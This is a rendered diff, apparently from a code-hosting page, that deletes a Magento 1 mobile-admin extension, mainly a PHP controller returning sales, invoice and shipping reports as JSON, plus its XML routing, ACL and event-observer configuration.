|
| 343 |
-
'parent_id' => $node->getData('entity_id'),
|
| 344 |
-
'name' => $childNode->getData('name'),
|
| 345 |
-
'product_count' => Mage::getModel('catalog/category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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/controllers/ReportController.php
DELETED
|
@@ -1,308 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_ReportController extends Mage_Core_Controller_Front_Action{
|
| 3 |
-
|
| 4 |
-
/*
|
| 5 |
-
*@ get admin report sales order using start and end date and more specific variables
|
| 6 |
-
*Parameter: startDate, endDate, sessionId, period(ex. day,month), status(ex. canceled,completed etc.)
|
| 7 |
-
*/
|
| 8 |
-
public function AdminReportOrderAction()
|
| 9 |
-
{
|
| 10 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 11 |
-
{
|
| 12 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 13 |
-
$sessionId = $post_data['session'];
|
| 14 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
|
| 15 |
-
{
|
| 16 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 17 |
-
return false; // return logged out
|
| 18 |
-
}
|
| 19 |
-
|
| 20 |
-
$start_date = $post_data['date_start'];
|
| 21 |
-
$end_date = $post_data['date_end'];
|
| 22 |
-
$storeId = $post_data['store_id'];
|
| 23 |
-
$dateStart = date('Y-m-d', strtotime($start_date));
|
| 24 |
-
$dateEnd = date('Y-m-d',strtotime($end_date));
|
| 25 |
-
$period = $post_data['period'];
|
| 26 |
-
|
| 27 |
-
$store = $post_data['store_id'];
|
| 28 |
-
|
| 29 |
-
$orderStatuses = array($post_data['status']);
|
| 30 |
-
|
| 31 |
-
$dat = array(
|
| 32 |
-
'orders_count' => 'sum(orders_count)',
|
| 33 |
-
'total_qty_ordered' => 'sum(total_qty_ordered)',
|
| 34 |
-
'total_income_amount' => 'sum(total_income_amount)', // Queries in mysql
|
| 35 |
-
'total_invoiced_amount' => 'sum(total_invoiced_amount)',
|
| 36 |
-
'total_refunded_amount' => 'sum(total_refunded_amount)',
|
| 37 |
-
'total_tax_amount' => 'sum(total_tax_amount)',
|
| 38 |
-
'total_shipping_amount' => 'sum(total_shipping_amount)',
|
| 39 |
-
'total_discount_amount' => 'sum(total_discount_amount)',
|
| 40 |
-
'total_canceled_amount' => 'sum(total_canceled_amount)'
|
| 41 |
-
);
|
| 42 |
-
|
| 43 |
-
if(is_array($orderStatuses))
|
| 44 |
-
{
|
| 45 |
-
if(count($orderStatuses) == 1 && strpos($orderStatuses[0],',')!== false)
|
| 46 |
-
{
|
| 47 |
-
$post_data['status'] = explode(',',$orderStatuses[0]);
|
| 48 |
-
}
|
| 49 |
-
}
|
| 50 |
-
|
| 51 |
-
$Rcolection = Mage::getResourceModel('sales/report_order_collection') // report sales order model
|
| 52 |
-
->setPeriod($period)
|
| 53 |
-
->setDateRange($dateStart,$dateEnd)
|
| 54 |
-
->addStoreFilter($store) //filtering report order sing these parameters
|
| 55 |
-
->addOrderStatusFilter($post_data['status'])
|
| 56 |
-
->setAggregatedColumns($dat);
|
| 57 |
-
|
| 58 |
-
$result = array();
|
| 59 |
-
foreach($Rcolection as $_data)
|
| 60 |
-
{
|
| 61 |
-
$result['report_sales_order'][] = $_data->getData();
|
| 62 |
-
}
|
| 63 |
-
|
| 64 |
-
$totalOrder = 0;
|
| 65 |
-
$totalOrderQty = 0;
|
| 66 |
-
$totalOrderQtyInvoice = 0;
|
| 67 |
-
$totalIncomeAmount = 0;
|
| 68 |
-
$totalRevenueAmount = 0;
|
| 69 |
-
$totalProfitAmount = 0;
|
| 70 |
-
$totalInvoicedAmount = 0;
|
| 71 |
-
$totalCanceledAmount = 0;
|
| 72 |
-
$totalPaidAmount = 0;
|
| 73 |
-
$totalRefundedAmount = 0;
|
| 74 |
-
$totalTaxAmount = 0;
|
| 75 |
-
$totalTaxAmountActual = 0;
|
| 76 |
-
$totalShippingAmount = 0;
|
| 77 |
-
$totalShippingAmountActual = 0;
|
| 78 |
-
$totalDiscountAmount = 0;
|
| 79 |
-
$totalDiscountAmountActual = 0;
|
| 80 |
-
|
| 81 |
-
foreach ($result['report_sales_order'] as $key => $value) // caculated price
|
| 82 |
-
{
|
| 83 |
-
$totalOrder = $totalOrder + $value['orders_count'];
|
| 84 |
-
$totalOrderQty = $totalOrderQty + $value['total_qty_ordered'];
|
| 85 |
-
$totalOrderQtyInvoice = $totalOrderQtyInvoice + $value['total_qty_invoiced'];
|
| 86 |
-
$totalIncomeAmount = $totalIncomeAmount + $value['total_income_amount'];
|
| 87 |
-
$totalRevenueAmount = $totalRevenueAmount + $value['total_revenue_amount'];
|
| 88 |
-
$totalProfitAmount = $totalProfitAmount + $value['total_profit_amount'];
|
| 89 |
-
$totalInvoicedAmount = $totalInvoicedAmount + $value['total_invoiced_amount'];
|
| 90 |
-
$totalCanceledAmount = $totalCanceledAmount + $value['total_canceled_amount'];
|
| 91 |
-
$totalPaidAmount = $totalPaidAmount + $value['total_paid_amount'];
|
| 92 |
-
$totalRefundedAmount = $totalRefundedAmount + $value['total_refunded_amount'];
|
| 93 |
-
$totalTaxAmount = $totalTaxAmount + $value['total_tax_amount'];
|
| 94 |
-
$totalTaxAmountActual = $totalTaxAmountActual + $value['total_tax_amount_actual'];
|
| 95 |
-
$totalShippingAmount = $totalShippingAmount + $value['total_shipping_amount'];
|
| 96 |
-
$totalShippingAmountActual = $totalShippingAmountActual + $value['total_shipping_amount_actual'];
|
| 97 |
-
$totalDiscountAmount = $totalDiscountAmount + $value['total_discount_amount'];
|
| 98 |
-
$totalDiscountAmountActual = $totalDiscountAmountActual + $value['total_discount_amount_actual'];
|
| 99 |
-
}
|
| 100 |
-
|
| 101 |
-
$result['Total']['totalOrder'] = $totalOrder;
|
| 102 |
-
$result['Total']['totalOrderQty'] = $totalOrderQty;
|
| 103 |
-
$result['Total']['totalOrderQtyInvoice'] = $totalOrderQtyInvoice;
|
| 104 |
-
$result['Total']['totalIncomeAmount'] = $totalIncomeAmount;
|
| 105 |
-
$result['Total']['totalRevenueAmount'] = $totalRevenueAmount;
|
| 106 |
-
$result['Total']['totalProfitAmount'] = $totalProfitAmount;
|
| 107 |
-
$result['Total']['totalInvoicedAmount'] = $totalInvoicedAmount;
|
| 108 |
-
$result['Total']['totalCanceledAmount'] = $totalCanceledAmount;
|
| 109 |
-
$result['Total']['totalPaidAmount'] = $totalPaidAmount;
|
| 110 |
-
$result['Total']['totalRefundedAmount'] = $totalRefundedAmount;
|
| 111 |
-
$result['Total']['totalTaxAmount'] = $totalTaxAmount;
|
| 112 |
-
$result['Total']['totalTaxAmountActual'] = $totalTaxAmountActual;
|
| 113 |
-
$result['Total']['totalShippingAmount'] = $totalShippingAmount;
|
| 114 |
-
$result['Total']['totalShippingAmountActual'] = $totalShippingAmountActual;
|
| 115 |
-
$result['Total']['totalDiscountAmount'] = $totalDiscountAmount;
|
| 116 |
-
$result['Total']['totalDiscountAmountActual'] = $totalDiscountAmountActual;
|
| 117 |
-
//echo json_encode($result);
|
| 118 |
-
//echo "<pre>"; print_r($result);
|
| 119 |
-
}
|
| 120 |
-
else
|
| 121 |
-
{
|
| 122 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 123 |
-
}
|
| 124 |
-
$isEnable = Mage::helper('core')->jsonEncode($result);
|
| 125 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 126 |
-
}
|
| 127 |
-
|
| 128 |
-
/*
|
| 129 |
-
*@ get admin report sales invoice using start and end date and more specific variables
|
| 130 |
-
*Parameter: startDate, endDate, sessionId, period(ex. day,month), status(ex. canceled,completed etc.)
|
| 131 |
-
*/
|
| 132 |
-
public function AdminReportInvoiceAction()
|
| 133 |
-
{
|
| 134 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 135 |
-
{
|
| 136 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 137 |
-
$sessionId = $post_data['session'];
|
| 138 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
|
| 139 |
-
{
|
| 140 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 141 |
-
return false; // return logged out
|
| 142 |
-
}
|
| 143 |
-
|
| 144 |
-
$start_date = $post_data['date_start'];
|
| 145 |
-
$end_date = $post_data['date_end'];
|
| 146 |
-
$storeId = $post_data['store_id'];
|
| 147 |
-
$dateStart = date('Y-m-d', strtotime($start_date));
|
| 148 |
-
$dateEnd = date('Y-m-d',strtotime($end_date));
|
| 149 |
-
$period = $post_data['period'];
|
| 150 |
-
|
| 151 |
-
$store = $post_data['store_id'];
|
| 152 |
-
|
| 153 |
-
$orderStatuses = array($post_data['status']);
|
| 154 |
-
|
| 155 |
-
|
| 156 |
-
$dat = array(
|
| 157 |
-
'orders_count' => 'sum(orders_count)', // sql queries for calculated price
|
| 158 |
-
'orders_invoiced' => 'sum(orders_invoiced)',
|
| 159 |
-
'total_income_amount' => 'sum(total_income_amount)',
|
| 160 |
-
'invoiced' => 'sum(invoiced)',
|
| 161 |
-
'invoiced_captured' => 'sum(invoiced_captured)',
|
| 162 |
-
'invoiced_not_captured' => 'sum(invoiced_not_captured)'
|
| 163 |
-
);
|
| 164 |
-
|
| 165 |
-
if(is_array($orderStatuses))
|
| 166 |
-
{
|
| 167 |
-
if(count($orderStatuses) == 1 && strpos($orderStatuses[0],',')!== false)
|
| 168 |
-
{
|
| 169 |
-
$post_data['status'] = explode(',',$orderStatuses[0]);
|
| 170 |
-
}
|
| 171 |
-
}
|
| 172 |
-
//echo "<pre>"; print_r($post_data['status']);
|
| 173 |
-
$Rcolection = Mage::getResourceModel('sales/report_invoiced_collection_order') // report sales invoice model
|
| 174 |
-
->setPeriod($period)
|
| 175 |
-
->setDateRange($dateStart,$dateEnd)
|
| 176 |
-
->addStoreFilter($store)
|
| 177 |
-
->addOrderStatusFilter($post_data['status'])
|
| 178 |
-
->setAggregatedColumns($dat);
|
| 179 |
-
|
| 180 |
-
$result = array();
|
| 181 |
-
foreach($Rcolection as $_data)
|
| 182 |
-
{
|
| 183 |
-
$result['report_invoice_order'][] = $_data->getData();
|
| 184 |
-
}
|
| 185 |
-
|
| 186 |
-
$orders_count = 0;
|
| 187 |
-
$orders_invoiced = 0;
|
| 188 |
-
$total_income_amount = 0;
|
| 189 |
-
$invoiced = 0;
|
| 190 |
-
$invoiced_captured = 0;
|
| 191 |
-
$invoiced_not_captured = 0;
|
| 192 |
-
|
| 193 |
-
foreach ($result['report_invoice_order'] as $key => $value)
|
| 194 |
-
{
|
| 195 |
-
$orders_count = $orders_count + $value['orders_count'];
|
| 196 |
-
$orders_invoiced = $orders_invoiced + $value['orders_invoiced'];
|
| 197 |
-
$total_income_amount = $total_income_amount + $value['total_income_amount'];
|
| 198 |
-
$invoiced = $invoiced + $value['invoiced'];
|
| 199 |
-
$invoiced_captured = $invoiced_captured + $value['invoiced_captured'];
|
| 200 |
-
$invoiced_not_captured = $invoiced_not_captured + $value['invoiced_not_captured'];
|
| 201 |
-
}
|
| 202 |
-
|
| 203 |
-
$result['Total']['orders_count'] = $orders_count;
|
| 204 |
-
$result['Total']['orders_invoiced'] = $orders_invoiced;
|
| 205 |
-
$result['Total']['total_income_amount'] = $total_income_amount;
|
| 206 |
-
$result['Total']['invoiced'] = $invoiced;
|
| 207 |
-
$result['Total']['invoiced_captured'] = $invoiced_captured;
|
| 208 |
-
$result['Total']['invoiced_not_captured'] = $invoiced_not_captured;
|
| 209 |
-
|
| 210 |
-
//echo json_encode($result);
|
| 211 |
-
//echo "<pre>"; print_r($result);
|
| 212 |
-
}
|
| 213 |
-
else
|
| 214 |
-
{
|
| 215 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 216 |
-
}
|
| 217 |
-
$isEnable = Mage::helper('core')->jsonEncode($result);
|
| 218 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 219 |
-
}
|
| 220 |
-
|
| 221 |
-
/*
|
| 222 |
-
*@ get admin report sales shipping using start and end date and more specific variables
|
| 223 |
-
*Parameter: startDate, endDate, sessionId, period(ex. day,month), status(ex. canceled,completed etc.)
|
| 224 |
-
*/
|
| 225 |
-
public function AdminReportShippingAction()
|
| 226 |
-
{
|
| 227 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 228 |
-
{
|
| 229 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 230 |
-
$sessionId = $post_data['session'];
|
| 231 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check if customer is not logged in then return Access denied
|
| 232 |
-
{
|
| 233 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 234 |
-
return false; // return logged out
|
| 235 |
-
}
|
| 236 |
-
|
| 237 |
-
$start_date = $post_data['date_start'];
|
| 238 |
-
$end_date = $post_data['date_end'];
|
| 239 |
-
$storeId = $post_data['store_id'];
|
| 240 |
-
$dateStart = date('Y-m-d', strtotime($start_date));
|
| 241 |
-
$dateEnd = date('Y-m-d',strtotime($end_date));
|
| 242 |
-
$period = $post_data['period'];
|
| 243 |
-
|
| 244 |
-
$store = $post_data['store_id'];
|
| 245 |
-
|
| 246 |
-
$orderStatuses = array($post_data['status']);
|
| 247 |
-
|
| 248 |
-
|
| 249 |
-
$dat = array(
|
| 250 |
-
'orders_count' => 'sum(orders_count)', // calculating order and price using database queries
|
| 251 |
-
'total_shipping' => 'sum(total_shipping)',
|
| 252 |
-
'total_shipping_actual' => 'sum(total_shipping_actual)'
|
| 253 |
-
);
|
| 254 |
-
|
| 255 |
-
if(is_array($orderStatuses))
|
| 256 |
-
{
|
| 257 |
-
if(count($orderStatuses) == 1 && strpos($orderStatuses[0],',')!== false)
|
| 258 |
-
{
|
| 259 |
-
$post_data['status'] = explode(',',$orderStatuses[0]);
|
| 260 |
-
}
|
| 261 |
-
}
|
| 262 |
-
//echo "<pre>"; print_r($post_data['status']);
|
| 263 |
-
$Rcolection = Mage::getResourceModel('sales/report_shipping_collection_order') // report sales shipping model
|
| 264 |
-
->setPeriod($period)
|
| 265 |
-
->setDateRange($dateStart,$dateEnd)
|
| 266 |
-
->addStoreFilter($store)
|
| 267 |
-
->addOrderStatusFilter($post_data['status'])
|
| 268 |
-
->setAggregatedColumns($dat);
|
| 269 |
-
|
| 270 |
-
$result = array();
|
| 271 |
-
|
| 272 |
-
$array_sum_array = array();
|
| 273 |
-
|
| 274 |
-
$orders_count = 0;
|
| 275 |
-
$total_shipping = 0;
|
| 276 |
-
$total_shipping_actual = 0;
|
| 277 |
-
|
| 278 |
-
foreach($Rcolection as $_key => $_data)
|
| 279 |
-
{
|
| 280 |
-
//$result['report_invoice_order'][] = $_data->getData();
|
| 281 |
-
//echo "<pre>"; print_r($_data->getData());
|
| 282 |
-
$result[$_data->getData('period')][] = $_data->getData();
|
| 283 |
-
|
| 284 |
-
|
| 285 |
-
$array_sum_array[$_data->getData('period')]['orders_count'][] = $_data->getData('orders_count');
|
| 286 |
-
$array_sum_array[$_data->getData('period')]['total_shipping'][] = $_data->getData('total_shipping');
|
| 287 |
-
$array_sum_array[$_data->getData('period')]['total_shipping_actual'][] = $_data->getData('total_shipping_actual');
|
| 288 |
-
|
| 289 |
-
// $orders_count += $_data->getData('orders_count');
|
| 290 |
-
// $total_shipping = $total_shipping + $_data->getData('total_shipping');
|
| 291 |
-
// $total_shipping_actual = $total_shipping_actual + $_data->getData('total_shipping_actual');
|
| 292 |
-
|
| 293 |
-
$result[$_data->getData('period')]['Total']['orders_count'] = array_sum($array_sum_array[$_data->getData('period')]['orders_count']);
|
| 294 |
-
$result[$_data->getData('period')]['Total']['total_shipping'] = array_sum($array_sum_array[$_data->getData('period')]['total_shipping']);
|
| 295 |
-
$result[$_data->getData('period')]['Total']['total_shipping_actual'] = array_sum($array_sum_array[$_data->getData('period')]['total_shipping_actual']);
|
| 296 |
-
|
| 297 |
-
}
|
| 298 |
-
//echo "<pre>"; print_r($result); die;
|
| 299 |
-
}
|
| 300 |
-
else
|
| 301 |
-
{
|
| 302 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 303 |
-
}
|
| 304 |
-
$isEnable = Mage::helper('core')->jsonEncode($result);
|
| 305 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 306 |
-
}
|
| 307 |
-
}
|
| 308 |
-
?>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/etc/adminhtml.xml
DELETED
|
@@ -1,23 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<config>
|
| 3 |
-
<acl>
|
| 4 |
-
<resources>
|
| 5 |
-
<admin>
|
| 6 |
-
<children>
|
| 7 |
-
<system>
|
| 8 |
-
<children>
|
| 9 |
-
<config>
|
| 10 |
-
<children>
|
| 11 |
-
<emizen_mob translate="title" module="mobileadmin">
|
| 12 |
-
<title>Emizen Mobile Admin Section</title>
|
| 13 |
-
<sort_order>0</sort_order>
|
| 14 |
-
</emizen_mob>
|
| 15 |
-
</children>
|
| 16 |
-
</config>
|
| 17 |
-
</children>
|
| 18 |
-
</system>
|
| 19 |
-
</children>
|
| 20 |
-
</admin>
|
| 21 |
-
</resources>
|
| 22 |
-
</acl>
|
| 23 |
-
</config>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/etc/api.xml
DELETED
|
@@ -1,29 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<config>
|
| 3 |
-
<api>
|
| 4 |
-
<resources>
|
| 5 |
-
<mobileadmin_api translate="title" module="mobileadmin">
|
| 6 |
-
<title>Myapi</title>
|
| 7 |
-
<acl>mobileadmin/api</acl>
|
| 8 |
-
<model>mobileadmin/api</model>
|
| 9 |
-
<methods>
|
| 10 |
-
<create translate="title" module="mobileadmin">
|
| 11 |
-
<title>Create</title>
|
| 12 |
-
<acl>mobileadmin/create</acl>
|
| 13 |
-
</create>
|
| 14 |
-
</methods>
|
| 15 |
-
</mobileadmin_api>
|
| 16 |
-
</resources>
|
| 17 |
-
<acl>
|
| 18 |
-
<resources>
|
| 19 |
-
<mobileadmin translate="title" module="mobileadmin">
|
| 20 |
-
<title>MobileAdmin</title>
|
| 21 |
-
<sort_order>2000</sort_order>
|
| 22 |
-
<create translate="title" module="mobileadmin">
|
| 23 |
-
<title>Create</title>
|
| 24 |
-
</create>
|
| 25 |
-
</mobileadmin>
|
| 26 |
-
</resources>
|
| 27 |
-
</acl>
|
| 28 |
-
</api>
|
| 29 |
-
</config>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/etc/config.xml
DELETED
|
@@ -1,134 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<config>
|
| 3 |
-
<modules>
|
| 4 |
-
<EmizenTech_MobileAdmin>
|
| 5 |
-
<version>0.1.0</version>
|
| 6 |
-
</EmizenTech_MobileAdmin>
|
| 7 |
-
</modules>
|
| 8 |
-
<frontend>
|
| 9 |
-
<routers>
|
| 10 |
-
<mobileadmin>
|
| 11 |
-
<use>standard</use>
|
| 12 |
-
<args>
|
| 13 |
-
<module>EmizenTech_MobileAdmin</module>
|
| 14 |
-
<frontName>mobileadmin</frontName>
|
| 15 |
-
</args>
|
| 16 |
-
</mobileadmin>
|
| 17 |
-
</routers>
|
| 18 |
-
<layout>
|
| 19 |
-
<updates>
|
| 20 |
-
<mobileadmin>
|
| 21 |
-
<file>mobileadmin.xml</file>
|
| 22 |
-
</mobileadmin>
|
| 23 |
-
</updates>
|
| 24 |
-
</layout>
|
| 25 |
-
</frontend>
|
| 26 |
-
<global>
|
| 27 |
-
<helpers>
|
| 28 |
-
<mobileadmin>
|
| 29 |
-
<class>EmizenTech_MobileAdmin_Helper</class>
|
| 30 |
-
</mobileadmin>
|
| 31 |
-
</helpers>
|
| 32 |
-
<blocks>
|
| 33 |
-
<mobileadmin>
|
| 34 |
-
<class>EmizenTech_MobileAdmin_Block</class>
|
| 35 |
-
</mobileadmin>
|
| 36 |
-
</blocks>
|
| 37 |
-
<models>
|
| 38 |
-
<mobileadmin>
|
| 39 |
-
<class>EmizenTech_MobileAdmin_Model</class>
|
| 40 |
-
<resourceModel>mobileadmin_mysql4</resourceModel>
|
| 41 |
-
</mobileadmin>
|
| 42 |
-
<mobileadmin_mysql4>
|
| 43 |
-
<class>EmizenTech_MobileAdmin_Model_Mysql4</class>
|
| 44 |
-
<entities>
|
| 45 |
-
<emizenmob>
|
| 46 |
-
<table>emizenmob</table>
|
| 47 |
-
</emizenmob>
|
| 48 |
-
</entities>
|
| 49 |
-
</mobileadmin_mysql4>
|
| 50 |
-
</models>
|
| 51 |
-
<resources>
|
| 52 |
-
<mobileadmin_setup>
|
| 53 |
-
<setup>
|
| 54 |
-
<module>EmizenTech_MobileAdmin</module>
|
| 55 |
-
</setup>
|
| 56 |
-
<connection>
|
| 57 |
-
<use>core_setup</use>
|
| 58 |
-
</connection>
|
| 59 |
-
</mobileadmin_setup>
|
| 60 |
-
<mobileadmin_write>
|
| 61 |
-
<connection>
|
| 62 |
-
<use>core_write</use>
|
| 63 |
-
</connection>
|
| 64 |
-
</mobileadmin_write>
|
| 65 |
-
<mobileadmin_read>
|
| 66 |
-
<connection>
|
| 67 |
-
<use>core_read</use>
|
| 68 |
-
</connection>
|
| 69 |
-
</mobileadmin_read>
|
| 70 |
-
</resources>
|
| 71 |
-
<events>
|
| 72 |
-
<sales_order_save_after> <!-- identifier of the event we want to catch -->
|
| 73 |
-
<observers>
|
| 74 |
-
<sales_order_save_after_handler> <!-- identifier of the event handler -->
|
| 75 |
-
<type>model</type> <!-- class method call type; valid are model, object and singleton -->
|
| 76 |
-
<class>mobileadmin/observer</class> <!-- observers class alias -->
|
| 77 |
-
<method>salesOrderSaveAfter</method> <!-- observer's method to be called -->
|
| 78 |
-
<args></args> <!-- additional arguments passed to observer -->
|
| 79 |
-
</sales_order_save_after_handler>
|
| 80 |
-
</observers>
|
| 81 |
-
</sales_order_save_after>
|
| 82 |
-
<customer_register_success> <!-- identifier of the event we want to catch -->
|
| 83 |
-
<observers>
|
| 84 |
-
<customer_register_success_handler> <!-- identifier of the event handler -->
|
| 85 |
-
<type>model</type> <!-- class method call type; valid are model, object and singleton -->
|
| 86 |
-
<class>mobileadmin/observer</class> <!-- observers class alias -->
|
| 87 |
-
<method>customerRegisterNotification</method> <!-- observer's method to be called -->
|
| 88 |
-
<args></args> <!-- additional arguments passed to observer -->
|
| 89 |
-
</customer_register_success_handler>
|
| 90 |
-
</observers>
|
| 91 |
-
</customer_register_success>
|
| 92 |
-
<customer_register_checkout> <!-- identifier of the event we want to catch -->
|
| 93 |
-
<observers>
|
| 94 |
-
<customer_register_checkout_handler> <!-- identifier of the event handler -->
|
| 95 |
-
<type>model</type> <!-- class method call type; valid are model, object and singleton -->
|
| 96 |
-
<class>mobileadmin/observer</class> <!-- observers class alias -->
|
| 97 |
-
<method>customerRegisterNotificationCheckout</method> <!-- observer's method to be called -->
|
| 98 |
-
<args></args> <!-- additional arguments passed to observer -->
|
| 99 |
-
</customer_register_checkout_handler>
|
| 100 |
-
</observers>
|
| 101 |
-
</customer_register_checkout>
|
| 102 |
-
<sales_order_place_after> <!-- identifier of the event we want to catch -->
|
| 103 |
-
<observers>
|
| 104 |
-
<sales_order_place_after_handler> <!-- identifier of the event handler -->
|
| 105 |
-
<type>model</type> <!-- class method call type; valid are model, object and singleton -->
|
| 106 |
-
<class>mobileadmin/observer</class> <!-- observers class alias -->
|
| 107 |
-
<method>saveOrderAfter</method> <!-- observer's method to be called -->
|
| 108 |
-
<args></args> <!-- additional arguments passed to observer -->
|
| 109 |
-
</sales_order_place_after_handler>
|
| 110 |
-
</observers>
|
| 111 |
-
</sales_order_place_after>
|
| 112 |
-
|
| 113 |
-
<controller_action_layout_load_before> <!-- identifier of the event we want to catch -->
|
| 114 |
-
|
| 115 |
-
<observers>
|
| 116 |
-
|
| 117 |
-
<controller_action_layout_load_before_handler> <!-- identifier of the event handler -->
|
| 118 |
-
|
| 119 |
-
<type>model</type> <!-- class method call type; valid are model, object and singleton -->
|
| 120 |
-
|
| 121 |
-
<class>EmizenTech_MobileAdmin_Helper_Data</class> <!-- observers class alias -->
|
| 122 |
-
|
| 123 |
-
<method>loadBefore</method> <!-- observer's method to be called -->
|
| 124 |
-
|
| 125 |
-
<args></args> <!-- additional arguments passed to observer -->
|
| 126 |
-
|
| 127 |
-
</controller_action_layout_load_before_handler>
|
| 128 |
-
|
| 129 |
-
</observers>
|
| 130 |
-
|
| 131 |
-
</controller_action_layout_load_before>
|
| 132 |
-
</events>
|
| 133 |
-
</global>
|
| 134 |
-
</config>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/etc/system.xml
DELETED
|
@@ -1,60 +0,0 @@
|
|
| 1 |
-
<?xml version="1.0"?>
|
| 2 |
-
<config>
|
| 3 |
-
<tabs>
|
| 4 |
-
<emizen_extension translate="label" module="mobileadmin">
|
| 5 |
-
<label>Emizentech Extensions</label>
|
| 6 |
-
<sort_order>0</sort_order>
|
| 7 |
-
</emizen_extension>
|
| 8 |
-
</tabs>
|
| 9 |
-
<sections>
|
| 10 |
-
<emizen_mob translate="label" module="mobileadmin">
|
| 11 |
-
<label>Emizen Mobile Admin</label>
|
| 12 |
-
<tab>emizen_extension</tab>
|
